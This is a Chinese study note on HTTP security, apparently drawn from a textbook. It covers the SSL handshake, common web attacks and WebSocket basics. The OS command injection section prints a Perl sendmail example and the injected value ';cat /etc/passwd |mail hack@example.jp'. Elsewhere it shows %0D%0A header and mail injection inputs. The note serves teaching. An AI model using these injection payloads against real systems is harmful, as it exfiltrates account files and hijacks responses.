  5. SSL第一次握手结束后,客户端以Client Key Exchange报文作为回应,报文中包含通信加密中使用的一种被称为Pre-master secret的随机密码串,该报文已用步骤3中的公开密钥进行加密
  6. 接着客户端继续发送Change Cipher Spec报文,该报文会提示服务器,在此报文之后的通信会采用Pre-master secret密钥加密
  7. 客户端发送Finished报文。该报文包含连接至今全部报文的整体校验值。这次握手协商是否能够成功,要以服务器是否正确解密该报文作为判定标准
  8. 服务器同样发送Change Cipher Spec报文
  9. 服务器同样发送Finished报文
  10. 服务端和客户端的Finished报文交换完毕后,SSL连接就建立完成。通信会受到SSL保护,从此开始进行应用层协议通信,即发送HTTP请求

SSL缺点:

  • 通信慢
  • 大量消耗CPU及内存资源,导致处理速度慢

针对Web应用的攻击模式

  • 主动攻击
  • 被动攻击

以服务器为目标的主动攻击

指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式,由于该模式是直接针对服务器的资源进行攻击的,因此攻击者需要能访问到那些资源,主动攻击模式里具有代表性的攻击时SQL注入攻击和OS命令注入攻击

以服务器为目标的被动攻击

被动攻击利用圈套策略执行攻击代码的攻击模式。攻击者不直接对目标Web应用访问攻击

跨站脚本攻击(XSS)

是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击,动态创建的HTML部分可能隐藏着安全漏洞,就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,就会受到被动攻击

跨站脚本攻击可能造成的影响

  • 利用虚假输入的表单骗取用户个人信息
  • 利用脚本窃取用户的COOkie值,被害者在不知情的情况下帮助攻击者发送请求
  • 显示伪造的文章或图片

eg:

在网站地址朗中URI测查询字段ID即相当于在表单内自动填写字符串的功能,写入:

对用户Cookie的窃取

SQL注入攻击

会执行非法SQL的SQL注入攻击

造成影响:

  • 非法查看或篡改数据库内的数据
  • 规避认证
  • 执行和数据库服务业务关联的程序等

eg:

某购物网站可将坐着名字作为搜索关键字查找他的所有著作

结果跟flag=1的设定值无关,只取出author=”上野宣”,这样未出版的书籍也一并显示

OS命令注入攻击

指通过Web应用,执行非法的操作系统命令达到攻击的目的,只要在能调用Shell函数的地方就有存在被攻击的风险。

可以从Web应用中通过Shell来调用操作系统命令,倘若调用Shell时存在疏漏,就可以执行非法的OS命令。OS命令注入攻击可以向Shell发送命令,让Windows或Linux操作系统的命令行启动程序。

eg:

咨询表单的发送功能,将用户的咨询邮件按已填写对方的邮箱地址发送过去。

1
2
3
my $adr= $q->param('mailaddress');
open(MAIL,"| /usr/sbin/sendmail $adr");
print MAIL "FROM :info@example.com\n";

程序中的open函数会调用sendmail命令发送邮件,而制定邮件发送地址是$adr,攻击者把下面的值制定为邮件地址

1
;cat /etc/passwd |mail hack@example.jp

程序接收到该值后构成以下组合:

1
open(MAIL,"| /usr/sbin/sendmail;cat /etc/passwd | mail hack@example.jp

“;”在OS命令中会被解析为分割多个执行命令的标记,因此sendmail会将含有Linux账户信息/etc/passwd的文件以邮件形式发送给hack@example.jp

HTTP首部注入攻击

值攻击者通过在响应首部字段内插入换行,添加任意响应首部或主题的一种攻击,属于被动攻击模式。向首部主题内添加内容的攻击称为HTTP响应阶段攻击。

HTTP首部注入攻击有可能会造成以下影响:

  • 设置任何Cookie信息
  • 重定向至任意URL
  • 显示任意的主体(HTTP响应阶段攻击)

此刻,Set-Cookie生效,攻击者可指定修改任意Cookie信息,通过和绘画固定攻击组合,攻击者可伪装成用户

攻击者输入%0D%0A变成换行符,结果插入了新的首部字段。

HTTP响应截断攻击

HTTP响应截断攻击是用在HTTP首部注入的一种攻击,攻击顺序相同,但是要将两个%0D%0A%0D%0A并排插入字符串后发送,利用这两个连续的换行可作出HTTP首部和主体分割所需的空行,这样就能显示伪造的主体,达到攻击目的。

利这种攻击,已触发陷阱的用户浏览器会显示伪造的WEB页面,再让用户输入自己的个人信息,达到和XSS攻击相同效果

邮件首部注入攻击

攻击者通过向邮件首部To或Subject内任意添加非法内容发起的攻击。利用存在安全漏洞的Web网站,可对任意邮件地址发送广告邮件或病毒邮件。
邮件地址:
%0D%0A 代表一个换行符,可以实现邮件地址的追加

%0D%0A%0D%0A代表两个连续的换行符,可以篡改邮件文本内容

目录遍历攻击:

对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击
用户可使用.…/等相对路径定位到/etc/passed等绝对路径上
例:

远程文件包含漏洞

当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。
例:

开放重定向

是指对指定的任意URL左重定向跳转功能,而与此功能先关联的安全漏洞是指,加入指定的重定向URL到某个具有恶意的Web网站,那么用户就会被诱导到那个网站,有可能被攻击者选中并作为钓鱼攻击的跳板

因会话管理疏忽引发漏洞

会话劫持:攻击者通过某种手段拿到用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击目的。

会话

会话固定攻击

对以窃取目标会话ID为主动攻击手段的会话劫持,会话固定攻击会强制用户使用攻击者指定额会话ID

例子:

跨站点请求伪造(CSRF)

是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。

可能造成的影响:

  • 利用已通过认证的用户权限更新设定信息等
  • 利用已通过认证的用户权限购买商品
  • 利用已通过认证的用户权限在留言板发表言论

例子:

DOS攻击

是一种让运行中的服务呈停止状态的攻击,有时也叫停止攻击或拒绝服务攻击,DoS攻击的对象不仅限于Web网站,还包括网络设备及服务器。

主要有两种DOS攻击方式:

  • 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈现停止状态。
  • 通过攻击安全漏洞使服务停止

集中利用访问请求,就是发送大量的合法请求,服务器很难分辨何为正常请求,何为攻击请求,因此很难防止DOS攻击。

多台计算机发起的DOS攻击称为DDOS攻击,DDOS攻击通常利用那些感染病毒的极端及作为攻击者的攻击跳板

初次接触 WebSocket 的人,都会问同样的问题:我们已经有了 HTTP 协议,为什么还需要另一个协议?它能带来什么好处?

答案很简单,因为 HTTP 协议有一个缺陷:通信只能由客户端发起。

举例来说,我们想了解今天的天气,只能是客户端向服务器发出请求,服务器返回查询结果。HTTP 协议做不到服务器主动向客户端推送信息。

这种单向请求的特点,注定了如果服务器有连续的状态变化,客户端要获知就非常麻烦。我们只能使用“轮询”:每隔一段时候,就发出一个询问,了解服务器有没有新的信息。最典型的场景就是聊天室。

轮询的效率低,非常浪费资源(因为必须不停连接,或者 HTTP 连接始终打开)。因此,工程师们一直在思考,有没有更好的方法。WebSocket 就是这样发明的。

使用浏览器进行全双工通信的WebSocket

WebSocket 协议在2008年诞生,2011年成为国际标准。所有浏览器都已经支持了。

它的最大特点就是,服务器可以主动向客户端推送信息,客户端也可以主动向服务器发送信息,是真正的双向平等对话,属于服务器推送技术的一种。

其他特点包括:

(1)建立在 TCP 协议之上,服务器端的实现比较容易。

(2)与 HTTP 协议有着良好的兼容性。默认端口也是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。

(3)减少通信量,只要建立起WebSocket连接,就希望一直保持连接,和http相比,不但每次连接时走开小减少。而且数据格式比较轻量,性能开销小,通信高效。

(4)可以发送文本,也可以发送二进制数据。

(5)没有同源限制,客户端可以与任意服务器通信。

(6)协议标识符是ws(如果加密,则为wss),服务器网址就是 URL。

1
ws://example.com:80/some/path

握手请求

1
Upgrade:websocket

Set-WebSocket-Key字段内记录着握手过程中必不可少的键值,Sec-WebSocket-Protocol字段内记录使用的子协议,子协议按WebSocket协议标准在连接分开使用时,定义那些连接的名称

握手响应

对于之前的请求,返回状态码101 Switching Protocols的响应